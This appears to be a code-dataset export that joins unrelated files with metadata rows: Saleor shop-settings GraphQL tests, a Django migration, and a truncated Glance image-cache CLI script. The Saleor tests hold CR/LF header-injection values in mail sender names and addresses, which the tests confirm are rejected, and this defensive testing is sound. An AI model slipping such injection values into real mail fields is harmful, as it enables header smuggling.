QUERY_RETRIEVE_DEFAULT_MAIL_SENDER_SETTINGS response = staff_api_client.post_graphql( query, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shop"] assert data["defaultMailSenderName"] == "" assert data["defaultMailSenderAddress"] is None def test_shop_digital_content_settings_mutation( staff_api_client, site_settings, permission_manage_settings ): query = """ mutation updateSettings($input: ShopSettingsInput!) { shopSettingsUpdate(input: $input) { shop { automaticFulfillmentDigitalProducts defaultDigitalMaxDownloads defaultDigitalUrlValidDays } errors { field, message } } } """ max_downloads = 15 url_valid_days = 30 variables = { "input": { "automaticFulfillmentDigitalProducts": True, "defaultDigitalMaxDownloads": max_downloads, "defaultDigitalUrlValidDays": url_valid_days, } } assert not site_settings.automatic_fulfillment_digital_products response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"]["shop"] assert data["automaticFulfillmentDigitalProducts"] assert data["defaultDigitalMaxDownloads"] assert data["defaultDigitalUrlValidDays"] site_settings.refresh_from_db() assert site_settings.automatic_fulfillment_digital_products assert site_settings.default_digital_max_downloads == max_downloads assert site_settings.default_digital_url_valid_days == url_valid_days def test_shop_settings_mutation( staff_api_client, site_settings, permission_manage_settings ): query = """ mutation updateSettings($input: ShopSettingsInput!) { shopSettingsUpdate(input: $input) { shop { headerText, includeTaxesInPrices, chargeTaxesOnShipping } errors { field, message } } } """ charge_taxes_on_shipping = site_settings.charge_taxes_on_shipping new_charge_taxes_on_shipping = not charge_taxes_on_shipping variables = { "input": { "includeTaxesInPrices": False, "headerText": "Lorem ipsum", "chargeTaxesOnShipping": new_charge_taxes_on_shipping, } } response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"]["shop"] assert data["includeTaxesInPrices"] is False assert data["headerText"] == "Lorem ipsum" assert data["chargeTaxesOnShipping"] == new_charge_taxes_on_shipping site_settings.refresh_from_db() assert not site_settings.include_taxes_in_prices assert site_settings.charge_taxes_on_shipping == new_charge_taxes_on_shipping MUTATION_UPDATE_DEFAULT_MAIL_SENDER_SETTINGS = """ mutation updateDefaultSenderSettings($input: ShopSettingsInput!) { shopSettingsUpdate(input: $input) { shop { defaultMailSenderName defaultMailSenderAddress } errors { field message } } } """ def test_update_default_sender_settings(staff_api_client, permission_manage_settings): query = MUTATION_UPDATE_DEFAULT_MAIL_SENDER_SETTINGS variables = { "input": { "defaultMailSenderName": "Dummy Name", "defaultMailSenderAddress": "dummy@example.com", } } response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"]["shop"] assert data["defaultMailSenderName"] == "Dummy Name" assert data["defaultMailSenderAddress"] == "dummy@example.com" @pytest.mark.parametrize( "sender_name", ( "\nDummy Name", "\rDummy Name", "Dummy Name\r", "Dummy Name\n", "Dummy\rName", "Dummy\nName", ), ) def test_update_default_sender_settings_invalid_name( staff_api_client, permission_manage_settings, sender_name ): query = MUTATION_UPDATE_DEFAULT_MAIL_SENDER_SETTINGS variables = {"input": {"defaultMailSenderName": sender_name}} response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) errors = content["data"]["shopSettingsUpdate"]["errors"] assert errors == [ {"field": "defaultMailSenderName", "message": "New lines are not allowed."} ] @pytest.mark.parametrize( "sender_email", ( "\ndummy@example.com", "\rdummy@example.com", "dummy@example.com\r", "dummy@example.com\n", "dummy@example\r.com", "dummy@example\n.com", ), ) def test_update_default_sender_settings_invalid_email( staff_api_client, permission_manage_settings, sender_email ): query = MUTATION_UPDATE_DEFAULT_MAIL_SENDER_SETTINGS variables = {"input": {"defaultMailSenderAddress": sender_email}} response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) errors = content["data"]["shopSettingsUpdate"]["errors"] assert errors == [ {"field": "defaultMailSenderAddress", "message": "Enter a valid email address."} ] def test_shop_domain_update(staff_api_client, permission_manage_settings): query = """ mutation updateSettings($input: SiteDomainInput!) { shopDomainUpdate(input: $input) { shop { name domain { host, } } } } """ new_name = "saleor test store" variables = {"input": {"domain": "lorem-ipsum.com", "name": new_name}} site = Site.objects.get_current() assert site.domain != "lorem-ipsum.com" response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shopDomainUpdate"]["shop"] assert data["domain"]["host"] == "lorem-ipsum.com" assert data["name"] == new_name site.refresh_from_db() assert site.domain == "lorem-ipsum.com" assert site.name == new_name MUTATION_CUSTOMER_SET_PASSWORD_URL_UPDATE = """ mutation updateSettings($customerSetPasswordUrl: String!) { shopSettingsUpdate(input: {customerSetPasswordUrl: $customerSetPasswordUrl}){ shop { customerSetPasswordUrl } errors { message field code } } } """ def test_shop_customer_set_password_url_update( staff_api_client, site_settings, permission_manage_settings ): customer_set_password_url = "http://www.example.com/set_pass/" variables = {"customerSetPasswordUrl": customer_set_password_url} assert site_settings.customer_set_password_url != customer_set_password_url response = staff_api_client.post_graphql( MUTATION_CUSTOMER_SET_PASSWORD_URL_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"] assert not data["errors"] site_settings = Site.objects.get_current().settings assert site_settings.customer_set_password_url == customer_set_password_url @pytest.mark.parametrize( "customer_set_password_url", [ ("http://not-allowed-storefron.com/pass"), ("http://[value-error-in-urlparse@test/pass"), ("without-protocole.com/pass"), ], ) def test_shop_customer_set_password_url_update_invalid_url( staff_api_client, site_settings, permission_manage_settings, customer_set_password_url, ): variables = {"customerSetPasswordUrl": customer_set_password_url} assert not site_settings.customer_set_password_url response = staff_api_client.post_graphql( MUTATION_CUSTOMER_SET_PASSWORD_URL_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"] assert data["errors"][0] == { "field": "customerSetPasswordUrl", "code": ShopErrorCode.INVALID.name, "message": ANY, } site_settings.refresh_from_db() assert not site_settings.customer_set_password_url def test_query_default_country(user_api_client, settings): settings.DEFAULT_COUNTRY = "US" query = """ query { shop { defaultCountry { code country } } } """ response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"]["defaultCountry"] assert data["code"] == settings.DEFAULT_COUNTRY assert data["country"] == "United States of America" AVAILABLE_EXTERNAL_AUTHENTICATIONS_QUERY = """ query{ shop { availableExternalAuthentications{ id name } } } """ @pytest.mark.parametrize( "external_auths", [ [{"id": "auth1", "name": "Auth-1"}], [{"id": "auth1", "name": "Auth-1"}, {"id": "auth2", "name": "Auth-2"}], [], ], ) def test_query_available_external_authentications( external_auths, user_api_client, monkeypatch ): monkeypatch.setattr( "saleor.plugins.manager.PluginsManager.list_external_authentications", lambda self, active_only: external_auths, ) query = AVAILABLE_EXTERNAL_AUTHENTICATIONS_QUERY response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"]["availableExternalAuthentications"] assert data == external_auths AVAILABLE_PAYMENT_GATEWAYS_QUERY = """ query Shop($currency: String){ shop { availablePaymentGateways(currency: $currency) { id name } } } """ def test_query_available_payment_gateways(user_api_client, sample_gateway, channel_USD): query = AVAILABLE_PAYMENT_GATEWAYS_QUERY response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"]["availablePaymentGateways"] assert {gateway["id"] for gateway in data} == { "mirumee.payments.dummy", "sampleDummy.active", } assert {gateway["name"] for gateway in data} == { "Dummy", "SampleDummy", } def test_query_available_payment_gateways_specified_currency_USD( user_api_client, sample_gateway, channel_USD ): query = AVAILABLE_PAYMENT_GATEWAYS_QUERY response = user_api_client.post_graphql(query, {"currency": "USD"}) content = get_graphql_content(response) data = content["data"]["shop"]["availablePaymentGateways"] assert {gateway["id"] for gateway in data} == { "mirumee.payments.dummy", "sampleDummy.active", } assert {gateway["name"] for gateway in data} == { "Dummy", "SampleDummy", } def test_query_available_payment_gateways_specified_currency_EUR( user_api_client, sample_gateway, channel_USD ): query = AVAILABLE_PAYMENT_GATEWAYS_QUERY response = user_api_client.post_graphql(query, {"currency": "EUR"}) content = get_graphql_content(response) data = content["data"]["shop"]["availablePaymentGateways"] assert data[0]["id"] == "sampleDummy.active" assert data[0]["name"] == "SampleDummy" AVAILABLE_SHIPPING_METHODS_QUERY = """ query Shop($channel: String!, $address: AddressInput){ shop { availableShippingMethods(channel: $channel, address: $address) { id name } } } """ def test_query_available_shipping_methods_no_address( staff_api_client, shipping_method, shipping_method_channel_PLN, channel_USD ): query = AVAILABLE_SHIPPING_METHODS_QUERY response = staff_api_client.post_graphql(query, {"channel": channel_USD.slug}) content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert len(data) > 0 assert {ship_meth["id"] for ship_meth in data} == { graphene.Node.to_global_id("ShippingMethod", ship_meth.pk) for ship_meth in ShippingMethod.objects.filter( shipping_zone__channels__slug=channel_USD.slug, channel_listings__channel__slug=channel_USD.slug, ) } def test_query_available_shipping_methods_no_channel_shipping_zones( staff_api_client, shipping_method, shipping_method_channel_PLN, channel_USD ): query = AVAILABLE_SHIPPING_METHODS_QUERY channel_USD.shipping_zones.clear() response = staff_api_client.post_graphql(query, {"channel": channel_USD.slug}) content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert len(data) == 0 def test_query_available_shipping_methods_for_given_address( staff_api_client, channel_USD, shipping_method, shipping_zone_without_countries, address, ): query = AVAILABLE_SHIPPING_METHODS_QUERY shipping_method_count = ShippingMethod.objects.count() variables = { "channel": channel_USD.slug, "address": {"country": CountryCodeEnum.US.name}, } response = staff_api_client.post_graphql(query, variables) content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert len(data) == shipping_method_count - 1 assert ( graphene.Node.to_global_id( "ShippingMethodType", shipping_zone_without_countries.shipping_methods.first().pk, ) not in {ship_meth["id"] for ship_meth in data} ) def test_query_available_shipping_methods_no_address_vatlayer_set( staff_api_client, shipping_method, shipping_method_channel_PLN, channel_USD, setup_vatlayer, ): query = AVAILABLE_SHIPPING_METHODS_QUERY response = staff_api_client.post_graphql(query, {"channel": channel_USD.slug}) content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert {ship_meth["id"] for ship_meth in data} == { graphene.Node.to_global_id("ShippingMethod", ship_meth.pk) for ship_meth in ShippingMethod.objects.filter( channel_listings__channel__slug=channel_USD.slug ) } def test_query_available_shipping_methods_for_given_address_vatlayer_set( staff_api_client, channel_USD, shipping_method, shipping_zone_without_countries, address, setup_vatlayer, ): query = AVAILABLE_SHIPPING_METHODS_QUERY shipping_method_count = ShippingMethod.objects.count() variables = { "channel": channel_USD.slug, "address": {"country": CountryCodeEnum.US.name}, } response = staff_api_client.post_graphql(query, variables) content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert len(data) == shipping_method_count - 1 assert graphene.Node.to_global_id( "ShippingMethodType", shipping_zone_without_countries.pk ) not in {ship_meth["id"] for ship_meth in data} def test_query_available_shipping_methods_for_excluded_postal_code( staff_api_client, channel_USD, shipping_method ): query = AVAILABLE_SHIPPING_METHODS_QUERY variables = { "channel": channel_USD.slug, "address": {"country": CountryCodeEnum.PL.name, "postalCode": "53-601"}, } shipping_method.postal_code_rules.create( start="53-600", end="54-600", inclusion_type=PostalCodeRuleInclusionType.EXCLUDE ) response = staff_api_client.post_graphql(query, variables) content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert graphene.Node.to_global_id("ShippingMethodType", shipping_method.pk) not in { ship_meth["id"] for ship_meth in data } def test_query_available_shipping_methods_for_included_postal_code( staff_api_client, channel_USD, shipping_method ): query = AVAILABLE_SHIPPING_METHODS_QUERY variables = { "channel": channel_USD.slug, "address": {"country": CountryCodeEnum.PL.name, "postalCode": "53-601"}, } shipping_method.postal_code_rules.create( start="53-600", end="54-600", inclusion_type=PostalCodeRuleInclusionType.INCLUDE ) response = staff_api_client.post_graphql(query, variables) content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert graphene.Node.to_global_id("ShippingMethod", shipping_method.pk) in { ship_meth["id"] for ship_meth in data } MUTATION_SHOP_ADDRESS_UPDATE = """ mutation updateShopAddress($input: AddressInput){ shopAddressUpdate(input: $input){ errors{ field message } } } """ def test_mutation_update_company_address( staff_api_client, permission_manage_settings, address, site_settings, ): variables = { "input": { "streetAddress1": address.street_address_1, "city": address.city, "country": address.country.code, "postalCode": address.postal_code, } } response = staff_api_client.post_graphql( MUTATION_SHOP_ADDRESS_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert "errors" not in content["data"] site_settings.refresh_from_db() assert site_settings.company_address assert site_settings.company_address.street_address_1 == address.street_address_1 assert site_settings.company_address.city == address.city assert site_settings.company_address.country.code == address.country.code def test_mutation_update_company_address_remove_address( staff_api_client, permission_manage_settings, site_settings, address ): site_settings.company_address = address site_settings.save(update_fields=["company_address"]) variables = {"input": None} response = staff_api_client.post_graphql( MUTATION_SHOP_ADDRESS_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert "errors" not in content["data"] site_settings.refresh_from_db() assert not site_settings.company_address assert not Address.objects.filter(pk=address.pk).exists() def test_mutation_update_company_address_remove_address_without_address( staff_api_client, permission_manage_settings, site_settings ): variables = {"input": None} response = staff_api_client.post_graphql( MUTATION_SHOP_ADDRESS_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert "errors" not in content["data"] site_settings.refresh_from_db() assert not site_settings.company_address def test_staff_notification_query( staff_api_client, staff_user, permission_manage_settings, staff_notification_recipient, ): query = """ { shop { staffNotificationRecipients { active email user { firstName lastName email } } } } """ response = staff_api_client.post_graphql( query, permissions=[permission_manage_settings] ) content = get_graphql_content(response) assert content["data"]["shop"]["staffNotificationRecipients"] == [ { "active": True, "email": staff_user.email, "user": { "firstName": staff_user.first_name, "lastName": staff_user.last_name, "email": staff_user.email, }, } ] MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE = """ mutation StaffNotificationRecipient ($input: StaffNotificationRecipientInput!) { staffNotificationRecipientCreate(input: $input) { staffNotificationRecipient { active email user { id firstName lastName email } } errors { field message code } } } """ def test_staff_notification_create_mutation( staff_api_client, staff_user, permission_manage_settings ): user_id = graphene.Node.to_global_id("User", staff_user.id) variables = {"input": {"user": user_id}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": { "active": True, "email": staff_user.email, "user": { "id": user_id, "firstName": staff_user.first_name, "lastName": staff_user.last_name, "email": staff_user.email, }, }, "errors": [], } def test_staff_notification_create_mutation_with_staffs_email( staff_api_client, staff_user, permission_manage_settings ): user_id = graphene.Node.to_global_id("User", staff_user.id) variables = {"input": {"email": staff_user.email}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": { "active": True, "email": staff_user.email, "user": { "id": user_id, "firstName": staff_user.first_name, "lastName": staff_user.last_name, "email": staff_user.email, }, }, "errors": [], } def test_staff_notification_create_mutation_with_customer_user( staff_api_client, customer_user, permission_manage_settings ): user_id = graphene.Node.to_global_id("User", customer_user.id) variables = {"input": {"user": user_id}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": None, "errors": [ {"code": "INVALID", "field": "user", "message": "User has to be staff user"} ], } def test_staff_notification_create_mutation_with_email( staff_api_client, permission_manage_settings, permission_manage_staff ): staff_email = "test_email@example.com" variables = {"input": {"email": staff_email}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings, permission_manage_staff], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": { "active": True, "email": staff_email, "user": None, }, "errors": [], } def test_staff_notification_create_mutation_with_empty_email( staff_api_client, permission_manage_settings ): staff_email = "" variables = {"input": {"email": staff_email}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": None, "errors": [ { "code": "INVALID", "field": "staffNotification", "message": "User and email cannot be set empty", } ], } MUTATION_STAFF_NOTIFICATION_RECIPIENT_UPDATE = """ mutation StaffNotificationRecipient ( $id: ID!, $input: StaffNotificationRecipientInput! ) { staffNotificationRecipientUpdate(id: $id, input: $input) { staffNotificationRecipient { active email user { firstName lastName email } } errors { field message code } } } """ def test_staff_notification_update_mutation( staff_api_client, staff_user, permission_manage_settings, staff_notification_recipient, ): old_email = staff_notification_recipient.get_email() assert staff_notification_recipient.active staff_notification_recipient_id = graphene.Node.to_global_id( "StaffNotificationRecipient", staff_notification_recipient.id ) variables = {"id": staff_notification_recipient_id, "input": {"active": False}} staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_UPDATE, variables, permissions=[permission_manage_settings], ) staff_notification_recipient.refresh_from_db() assert not staff_notification_recipient.active assert staff_notification_recipient.get_email() == old_email def test_staff_notification_update_mutation_with_empty_user( staff_api_client, staff_user, permission_manage_settings, staff_notification_recipient, ): staff_notification_recipient_id = graphene.Node.to_global_id( "StaffNotificationRecipient", staff_notification_recipient.id ) variables = {"id": staff_notification_recipient_id, "input": {"user": ""}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) staff_notification_recipient.refresh_from_db() assert content["data"]["staffNotificationRecipientUpdate"] == { "staffNotificationRecipient": None, "errors": [ { "code": "INVALID", "field": "staffNotification", "message": "User and email cannot be set empty", } ], } def test_staff_notification_update_mutation_with_empty_email( staff_api_client, staff_user, permission_manage_settings, staff_notification_recipient, ): staff_notification_recipient_id = graphene.Node.to_global_id( "StaffNotificationRecipient", staff_notification_recipient.id ) variables = {"id": staff_notification_recipient_id, "input": {"email": ""}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) staff_notification_recipient.refresh_from_db() assert content["data"]["staffNotificationRecipientUpdate"] == { "staffNotificationRecipient": None, "errors": [ { "code": "INVALID", "field": "staffNotification", "message": "User and email cannot be set empty", } ], } ORDER_SETTINGS_UPDATE_MUTATION = """ mutation orderSettings($confirmOrders: Boolean!) { orderSettingsUpdate( input: { automaticallyConfirmAllNewOrders: $confirmOrders } ) { orderSettings { automaticallyConfirmAllNewOrders } } } """ def test_order_settings_update_by_staff( staff_api_client, permission_manage_orders, site_settings ): assert site_settings.automatically_confirm_all_new_orders is True staff_api_client.user.user_permissions.add(permission_manage_orders) response = staff_api_client.post_graphql( ORDER_SETTINGS_UPDATE_MUTATION, {"confirmOrders": False} ) content = get_graphql_content(response) response_settings = content["data"]["orderSettingsUpdate"]["orderSettings"] assert response_settings["automaticallyConfirmAllNewOrders"] is False site_settings.refresh_from_db() assert site_settings.automatically_confirm_all_new_orders is False def test_order_settings_update_by_app( app_api_client, permission_manage_orders, site_settings ): assert site_settings.automatically_confirm_all_new_orders is True app_api_client.app.permissions.set([permission_manage_orders]) response = app_api_client.post_graphql( ORDER_SETTINGS_UPDATE_MUTATION, {"confirmOrders": False} ) content = get_graphql_content(response) response_settings = content["data"]["orderSettingsUpdate"]["orderSettings"] assert response_settings["automaticallyConfirmAllNewOrders"] is False site_settings.refresh_from_db() assert site_settings.automatically_confirm_all_new_orders is False def test_order_settings_update_by_user_without_permissions( user_api_client, permission_manage_orders, site_settings ): assert site_settings.automatically_confirm_all_new_orders is True response = user_api_client.post_graphql( ORDER_SETTINGS_UPDATE_MUTATION, {"confirmOrders": False} ) assert_no_permission(response) site_settings.refresh_from_db() assert site_settings.automatically_confirm_all_new_orders is True ORDER_SETTINGS_QUERY = """ query orderSettings { orderSettings { automaticallyConfirmAllNewOrders } } """ def test_order_settings_query_as_staff( staff_api_client, permission_manage_orders, site_settings ): assert site_settings.automatically_confirm_all_new_orders is True site_settings.automatically_confirm_all_new_orders = False site_settings.save(update_fields=["automatically_confirm_all_new_orders"]) staff_api_client.user.user_permissions.add(permission_manage_orders) response = staff_api_client.post_graphql(ORDER_SETTINGS_QUERY) content = get_graphql_content(response) assert content["data"]["orderSettings"]["automaticallyConfirmAllNewOrders"] is False def test_order_settings_query_as_user(user_api_client, site_settings): response = user_api_client.post_graphql(ORDER_SETTINGS_QUERY) assert_no_permission(response) API_VERSION_QUERY = """ query { shop { version } } """ def test_version_query_as_anonymous_user(api_client): response = api_client.post_graphql(API_VERSION_QUERY) assert_no_permission(response) def test_version_query_as_customer(user_api_client): response = user_api_client.post_graphql(API_VERSION_QUERY) assert_no_permission(response) def test_version_query_as_app(app_api_client): response = app_api_client.post_graphql(API_VERSION_QUERY) content = get_graphql_content(response) assert content["data"]["shop"]["version"] == __version__ def test_version_query_as_staff_user(staff_api_client): response = staff_api_client.post_graphql(API_VERSION_QUERY) content = get_graphql_content(response) assert content["data"]["shop"]["version"] == __version__ def test_cannot_get_shop_limit_info_when_not_staff(user_api_client): query = LIMIT_INFO_QUERY response = user_api_client.post_graphql(query) assert_no_permission(response) def test_get_shop_limit_info_returns_null_by_default(staff_api_client): query = LIMIT_INFO_QUERY response = staff_api_client.post_graphql(query) content = get_graphql_content(response) assert content == { "data": { "shop": { "limits": { "currentUsage": {"channels": None}, "allowedUsage": {"channels": None}, } } } }
true
true
f7f3965817bcf3301bcabe480b9e139ca2271541
366
py
Python
nomadgram/notifications/migrations/0005_auto_20181222_1723.py
majaeseong/nomadgram
bea95def96ddc5126567026ec294196dc49862c7
[ "MIT" ]
null
null
null
nomadgram/notifications/migrations/0005_auto_20181222_1723.py
majaeseong/nomadgram
bea95def96ddc5126567026ec294196dc49862c7
[ "MIT" ]
7
2020-09-06T07:11:02.000Z
2022-02-26T14:41:08.000Z
nomadgram/notifications/migrations/0005_auto_20181222_1723.py
majaeseong/nomadgram
bea95def96ddc5126567026ec294196dc49862c7
[ "MIT" ]
null
null
null
# Generated by Django 2.0.9 on 2018-12-22 08:24 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('notifications', '0004_notification_comment'), ] operations = [ migrations.AlterModelOptions( name='notification', options={'ordering': ['-created_at']}, ), ]
20.333333
55
0.60929
from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('notifications', '0004_notification_comment'), ] operations = [ migrations.AlterModelOptions( name='notification', options={'ordering': ['-created_at']}, ), ]
true
true
f7f3968aff6eb4018adff8937684e569cd74250f
17,566
py
Python
glance/cmd/cache_manage.py
Steap/glance
4ee7799aa7f6a7172e361392ebb8d3da03e0bf7f
[ "Apache-2.0" ]
309
2015-01-01T17:49:09.000Z
2022-03-29T14:56:31.000Z
glance/cmd/cache_manage.py
Steap/glance
4ee7799aa7f6a7172e361392ebb8d3da03e0bf7f
[ "Apache-2.0" ]
8
2015-11-04T21:53:48.000Z
2020-12-15T05:36:35.000Z
glance/cmd/cache_manage.py
Steap/glance
4ee7799aa7f6a7172e361392ebb8d3da03e0bf7f
[ "Apache-2.0" ]
409
2015-01-01T11:28:26.000Z
2022-03-29T14:56:41.000Z
#!/usr/bin/env python # Copyright 2018 RedHat Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ A simple cache management utility for Glance. """ import argparse import collections import datetime import functools import os import sys import time import uuid from oslo_utils import encodeutils import prettytable from six.moves import input # If ../glance/__init__.py exists, add ../ to Python search path, so that # it will override what happens to be installed in /usr/(local/)lib/python... possible_topdir = os.path.normpath(os.path.join(os.path.abspath(sys.argv[0]), os.pardir, os.pardir)) if os.path.exists(os.path.join(possible_topdir, 'glance', '__init__.py')): sys.path.insert(0, possible_topdir) from glance.common import exception import glance.image_cache.client from glance.version import version_info as version SUCCESS = 0 FAILURE = 1 def validate_input(func): """Decorator to enforce validation on input""" @functools.wraps(func) def wrapped(*args, **kwargs): if len(args[0].command) > 2: print("Please specify the ID of the image you wish for command " "'%s' from the cache as the first and only " "argument." % args[0].command[0]) return FAILURE if len(args[0].command) == 2: image_id = args[0].command[1] try: image_id = uuid.UUID(image_id) except ValueError: print("Image ID '%s' is not a valid UUID." % image_id) return FAILURE return func(args[0], **kwargs) return wrapped def catch_error(action): """Decorator to provide sensible default error handling for actions.""" def wrap(func): @functools.wraps(func) def wrapper(*args, **kwargs): try: ret = func(*args, **kwargs) return SUCCESS if ret is None else ret except exception.NotFound: options = args[0] print("Cache management middleware not enabled on host %s" % options.host) return FAILURE except exception.Forbidden: print("Not authorized to make this request.") return FAILURE except Exception as e: options = args[0] if options.debug: raise print("Failed to %s. Got error:" % action) pieces = encodeutils.exception_to_unicode(e).split('\n') for piece in pieces: print(piece) return FAILURE return wrapper return wrap @catch_error('show cached images') def list_cached(args): """%(prog)s list-cached [options] List all images currently cached. """ client = get_client(args) images = client.get_cached_images() if not images: print("No cached images.") return SUCCESS print("Found %d cached images..." % len(images)) pretty_table = prettytable.PrettyTable(("ID", "Last Accessed (UTC)", "Last Modified (UTC)", "Size", "Hits")) pretty_table.align['Size'] = "r" pretty_table.align['Hits'] = "r" for image in images: last_accessed = image['last_accessed'] if last_accessed == 0: last_accessed = "N/A" else: last_accessed = datetime.datetime.utcfromtimestamp( last_accessed).isoformat() pretty_table.add_row(( image['image_id'], last_accessed, datetime.datetime.utcfromtimestamp( image['last_modified']).isoformat(), image['size'], image['hits'])) print(pretty_table.get_string()) return SUCCESS @catch_error('show queued images') def list_queued(args): """%(prog)s list-queued [options] List all images currently queued for caching. """ client = get_client(args) images = client.get_queued_images() if not images: print("No queued images.") return SUCCESS print("Found %d queued images..." % len(images)) pretty_table = prettytable.PrettyTable(("ID",)) for image in images: pretty_table.add_row((image,)) print(pretty_table.get_string()) @catch_error('queue the specified image for caching') @validate_input def queue_image(args): """%(prog)s queue-image <IMAGE_ID> [options] Queues an image for caching. """ image_id = args.command[1] if (not args.force and not user_confirm("Queue image %(image_id)s for caching?" % {'image_id': image_id}, default=False)): return SUCCESS client = get_client(args) client.queue_image_for_caching(image_id) if args.verbose: print("Queued image %(image_id)s for caching" % {'image_id': image_id}) return SUCCESS @catch_error('delete the specified cached image') @validate_input def delete_cached_image(args): """%(prog)s delete-cached-image <IMAGE_ID> [options] Deletes an image from the cache. """ image_id = args.command[1] if (not args.force and not user_confirm("Delete cached image %(image_id)s?" % {'image_id': image_id}, default=False)): return SUCCESS client = get_client(args) client.delete_cached_image(image_id) if args.verbose: print("Deleted cached image %(image_id)s" % {'image_id': image_id}) return SUCCESS @catch_error('Delete all cached images') def delete_all_cached_images(args): """%(prog)s delete-all-cached-images [options] Remove all images from the cache. """ if (not args.force and not user_confirm("Delete all cached images?", default=False)): return SUCCESS client = get_client(args) num_deleted = client.delete_all_cached_images() if args.verbose: print("Deleted %(num_deleted)s cached images" % {'num_deleted': num_deleted}) return SUCCESS @catch_error('delete the specified queued image') @validate_input def delete_queued_image(args): """%(prog)s delete-queued-image <IMAGE_ID> [options] Deletes an image from the cache. """ image_id = args.command[1] if (not args.force and not user_confirm("Delete queued image %(image_id)s?" % {'image_id': image_id}, default=False)): return SUCCESS client = get_client(args) client.delete_queued_image(image_id) if args.verbose: print("Deleted queued image %(image_id)s" % {'image_id': image_id}) return SUCCESS @catch_error('Delete all queued images') def delete_all_queued_images(args): """%(prog)s delete-all-queued-images [options] Remove all images from the cache queue. """ if (not args.force and not user_confirm("Delete all queued images?", default=False)): return SUCCESS client = get_client(args) num_deleted = client.delete_all_queued_images() if args.verbose: print("Deleted %(num_deleted)s queued images" % {'num_deleted': num_deleted}) return SUCCESS def get_client(options): """Return a new client object to a Glance server. specified by the --host and --port options supplied to the CLI """ # Generate auth_url based on identity_api_version identity_version = env('OS_IDENTITY_API_VERSION', default='3') auth_url = options.os_auth_url if identity_version == '3' and "/v3" not in auth_url: auth_url = auth_url + "/v3" elif identity_version == '2' and "/v2" not in auth_url: auth_url = auth_url + "/v2.0" user_domain_id = options.os_user_domain_id if not user_domain_id: user_domain_id = options.os_domain_id project_domain_id = options.os_project_domain_id if not user_domain_id: project_domain_id = options.os_domain_id return glance.image_cache.client.get_client( host=options.host, port=options.port, username=options.os_username, password=options.os_password, project=options.os_project_name, user_domain_id=user_domain_id, project_domain_id=project_domain_id, auth_url=auth_url, auth_strategy=options.os_auth_strategy, auth_token=options.os_auth_token, region=options.os_region_name, insecure=options.insecure) def env(*vars, **kwargs): """Search for the first defined of possibly many env vars. Returns the first environment variable defined in vars, or returns the default defined in kwargs. """ for v in vars: value = os.environ.get(v) if value: return value return kwargs.get('default', '') def print_help(args): """ Print help specific to a command """ command = lookup_command(args.command[1]) print(command.__doc__ % {'prog': os.path.basename(sys.argv[0])}) def parse_args(parser): """Set up the CLI and config-file options that may be parsed and program commands. :param parser: The option parser """ 